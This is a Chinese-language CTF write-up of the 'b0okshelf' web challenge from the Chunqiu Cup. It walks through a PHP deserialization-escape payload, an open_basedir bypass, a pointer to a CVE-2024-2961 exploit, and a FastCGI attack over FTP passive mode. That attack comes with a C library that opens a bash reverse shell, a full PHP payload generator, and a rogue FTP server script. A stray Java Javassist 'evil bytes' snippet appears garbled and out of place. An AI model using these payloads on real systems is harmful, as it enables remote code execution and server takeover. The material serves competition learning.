春秋杯一些值得记录的题

Day1

Gotar

Day2

b0okshelf

首先扫目录找到backup.zip

打开来进行一波审计，首先是data.php中的Reader类的setContent()存在文件写入

在add.php和update.php处均存在将序列化数据写入文件

但是只有在update.php存在可控内容写入，调用setContent()，不过Location需要我们污染

注意到waf()函数，先调用serialize()函数进行序列化，再进行waf替换，非常经典的反序列化逃逸了

若我们仅传入字符单引号，此时序列化数据中对应长度应该为1，但是经过waf替换，此时序列化数据中长度字段仍然是1，但是后面的值长度已经加了一个反斜杠，为我们逃逸做了准备

一个正常序列化数据如下，准备污染author字段的值

O:4:"Book":5:{s:2:"id";s:13:"678b60e745e8a";s:5:"title";s:4:"1221";s:6:"author";s:5:"12345";s:7:"summary";s:3:"con";s:6:"reader";O:6:"Reader":1:{s:16:" Reader location";s:23:"books/678b60e745e8a.txt";}}

xxxxxxxxxx     public static byte[] getEvilBytes(String cmd) throws Exception{        ClassPool classPool = ClassPool.getDefault();        CtClass ctClass = classPool.makeClass(“evil”);        String code = “{java.lang.Runtime.getRuntime().exec("“+cmd+”");}”;        ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));        CtConstructor constructor = ctClass.makeClassInitializer();        constructor.insertBefore(code);//       ctClass.writeFile();        return ctClass.toBytecode();   }​​​​public static byte[] getEvilBytes(String cmd) throws Exception {    ClassPool classPool = ClassPool.getDefault();    CtClass ctClass = classPool.makeClass(“evil”);​    // 设置父类为 AbstractTranslet    CtClass abstractTransletClass = classPool.get(AbstractTranslet.class.getName());    ctClass.setSuperclass(abstractTransletClass);​    // 编写恶意代码    String code = “{“                + “ namesArray = new String[]{"hello"};”  // 初始化 namesArray                + “ java.lang.Runtime.getRuntime().exec("“ + cmd + “");”  // 执行命令                + “}”;​    // 创建构造器    CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);    constructor.setBody(“{ super(); “ + code + “ }”);  // 调用父类构造器，并初始化字段    ctClass.addConstructor(constructor);​    // 写入字节码到文件    ctClass.writeFile();​    // 返回字节码    return ctClass.toBytecode();}​java

''''...(若干单引号)";s:1:"1";s:1:"1";s:6:"reader";O:6:"Reader":1:{s:16:"%00Reader%00location";s:15:"books/hello.php";}}

不考虑单引号，有96个字符长，有下面表格

author值的长度数值	单引号数量	单引号加反斜杠数目
96	0	0
97	1	2
98	2	4
99	3	6

当author字段长度数值等于单引号加反斜杠时，就是我们要的单引号数量，2x=x+96算出需要96个单引号

构造得到第一部分payload

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''";s:1:"1";s:1:"1";s:6:"reader";O:6:"Reader":1:{s:16:"%00Reader%00location";s:15:"books/hello.php";}}

添加图书，随便写点什么

然后编辑图书，%00还是得手动抓下包发一下

然后拿到rce，但是事情似乎并没有那么简单，这一堆disable_function

试着丢蚁剑插件直接梭哈，但是：

甚至没有目录权限？

但是只能读web目录下的文件，超出范围的都读不了

发现是open_basedir配置做了限制

对open_dir做一个绕过

mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents("/etc/passwd");

然后后半部分偷了点懒想留着第二天晚上写，结果：，，，，

ok啊还好已经复现过了，介绍两种思路：

CVE-2024-2961

这里一种思路是利用CVE-2024-2961，构造一个任意文件读的页面，脚本直接梭哈了

<?php
mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
$data = file_get_contents($_POST['file']);
echo "File contents: $data";

exp：https://github.com/ambionics/cnext-exploits

FTP被动模式打fastcgi

构造一个恶意的c代码，gcc -fPIC -shared hack.c -o hack.so编译生成.so，上传至任意一个可写目录，这里我上传到/var/www/html

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'bash -i >& /dev/tcp/ip/7890 0>&1'");
}

以下代码生成payload用于向fastcgi发送来攻击，主要需要改的代码部分在下面部分，运行生成payload，切记直接通过php命令运行，不要丢目标web服务器生成，不然生成的payload会失效：

<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
//        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        echo('?file=ftp://ip.138.97:2333/&data='.urlencode($request));
//        fwrite($this->_sock, $request);
//        do {
//            $resp = $this->readPacket();
//            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
//                $response .= $resp['content'];
//            }
//        } while ($resp && $resp['type'] != self::END_REQUEST);
//        var_dump($resp);
//        if (!is_array($resp)) {
//            throw new Exception('Bad request');
//        }
//        switch (ord($resp['content']{4})) {
//            case self::CANT_MPX_CONN:
//                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
//                break;
//            case self::OVERLOADED:
//                throw new Exception('New request rejected; too busy [OVERLOADED]');
//                break;
//            case self::UNKNOWN_ROLE:
//                throw new Exception('Role value not known [UNKNOWN_ROLE]');
//                break;
//            case self::REQUEST_COMPLETE:
//                return $response;
//        }
    }
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
//    die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
//    $filepath = __FILE__;
//}else{
//    $filepath = $_REQUEST['filepath'];
//}

$filepath = "/var/www/html/index.php"; //服务器中已知的php文件的路径
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; //没用不用管
$php_value = "unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = hack.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; // extension_dir即为.so文件所在目录
$params = array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD'    => 'POST',
    'SCRIPT_FILENAME'   => $filepath,
    'SCRIPT_NAME'       => $req,
    'QUERY_STRING'      => 'command=whoami',
    'REQUEST_URI'       => $uri,
    'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
    'PHP_VALUE'         => $php_value,
    'SERVER_SOFTWARE'   => '80sec/wofeiwo',
    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9000', // fastcgi的端口
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'localhost',
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

解码生成的data，在传递给fastcgi的PHP_VALUE中对php的一些配置进行了覆盖，将extension_dir改为了web目录，然后加载动态链接库hack.so，并且将open_basedir改为了根目录/

当在nginx配置中对ffastcgi_params参数的PHP_VALUE修改后，会直接影响到php的配置，并且优先级高于php.ini，PHP_ADMIN_VALUE优先级高于PHP_VALUE，如果将php配置文件的extension_dir改成了恶意的程序去加载，就会导致命令的执行

下面引出ftp的被动模式利用：

关于ftp被动模式：https://my.oschina.net/binny/blog/17469

我们在python中构造一个恶意的ftp服务，在2333端口监听，当一个请求从客户端向这个ftp服务器发过来时，ftp服务器被动模式下告诉客户端应该往哪个ip哪个端口连接，正常情况下应该是服务器的ip和这个随机生成的端口，但是我们恶意构造的ftp服务器却告诉他应该发往127.0.0.1:9000，即fastcgi服务所在

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 2333))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

当我们通过file_put_contents()向恶意ftp服务器发送data的时候，ftp服务器告诉客户端要往fpm，原样转发payload中的data数据，导致恶意的so被加载，成功反弹shell

然后利用前面的rce，执行file_put_contents(“ftp://ip:2333",data)即可加载hack.so，vps起监听，即可收到反弹的shell

后面就是suid提权

find / -perm -u=s -type f 2>/dev/null